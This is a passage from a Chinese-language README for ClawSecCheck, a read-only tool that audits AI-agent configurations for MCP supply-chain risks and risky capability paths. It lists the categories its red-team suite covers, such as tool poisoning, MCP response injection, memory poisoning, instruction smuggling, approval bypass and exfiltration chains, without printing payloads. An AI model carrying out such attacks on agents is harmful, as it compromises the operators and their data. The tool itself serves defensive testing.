**引导模式**:在每次默认运行后打印一个“What you can do next”推荐块(也在 `--json` 中作为 `next_actions` 和通过 `--next` 独立运行),以及一个重写的对话式 SKILL.md 攻略手册,引导非技术用户完成每个工具,无需了解任何标志 — **MCP 供应链审查**(`--vet-mcp`):在信任之前检查每个连接的 MCP 服务器的未固定安装、明文传输、秘密直通和广泛的 OAuth 范围(SAFE / SUSPICIOUS / DANGEROUS,本地且只读;解决 #1 代理供应链漏洞)— 一个 **扩展的代理红队套件**(`--redteam`、`--dryrun`)涵盖工具中毒、MCP 响应注入、内存中毒、多代理指令走私、通过注入的审批绕过,以及 MCP 响应、内存和子代理源的脏输入到外泄链 — 以及一个 **风险引擎**(`--risk-paths`):组合链检测,显示最高风险的能力路径(RISK-01 至 RISK-11,包括具有强大代理的未监控主机和跨代理三连胜重组),不会影响确定性的 A–F 评分。所有检查都针对真实的 OpenClaw 模式(从 docs.openclaw.ai 和实时舰队配置中验证),因此它们会在真实安装上触发,而不是静默地忽略虚构的字段路径。每个发现还带有 **置信度**(HIGH = 确定的配置字段事实;MEDIUM = 值得人类审查的启发式匹配),在报告、`--json` 和 SARIF 中显示。该项目在 v0.16 中更名为 **ClawSecCheck**,而 v0.17 是一个由外部安全审查驱动的稳定就绪通行证:它修复了一个审批门控的假阳性(检查现在读取实际的 `tools.exec.mode` 而不是不存在的字段)、IPv6 网关绑定检测、所有输出通道(`--prompts`、`--json`、`--sarif`、HTML)的提示/报告净化,并强化了发布流程。ClawSecCheck 仍然只检查和引导 — 它从不应用修复或更改您的配置。
---
## 限制
- **启发式本地审计,不是正式的安全性证明**。ClawSecCheck 检查配置文本和已知模式;它无法推理所有可能的运行时行为或正式验证代理的安全属性。
- **不能取代运行时红队测试**。静态配置分析是一个起点,而不是对抗正在运行的代理进行测试的替代品。
- **可能会产生假阳性和假阴性**。证据门控可以保持低噪音,但启发式方法可能会错过新颖的攻击模式,并可能误读边缘情况配置。
- **读取范围有限**:配置文件、启动降级 Markdown 文件和已安装技能文本 — 而不是对您的文件系统的详尽扫描。
- **UNKNOWN 不是 PASS**。无法读取的文件或无法解析的配置被报告为 UNKNOWN,并从分数中排除,永远不会被静默标记为安全。
---
## 测试
```bash
python3 -m pytest -q
```
---
## 许可证
MIT — 请参阅 [LICENSE](LICENSE)。
连接信息
猜你喜欢
暂无推荐服务器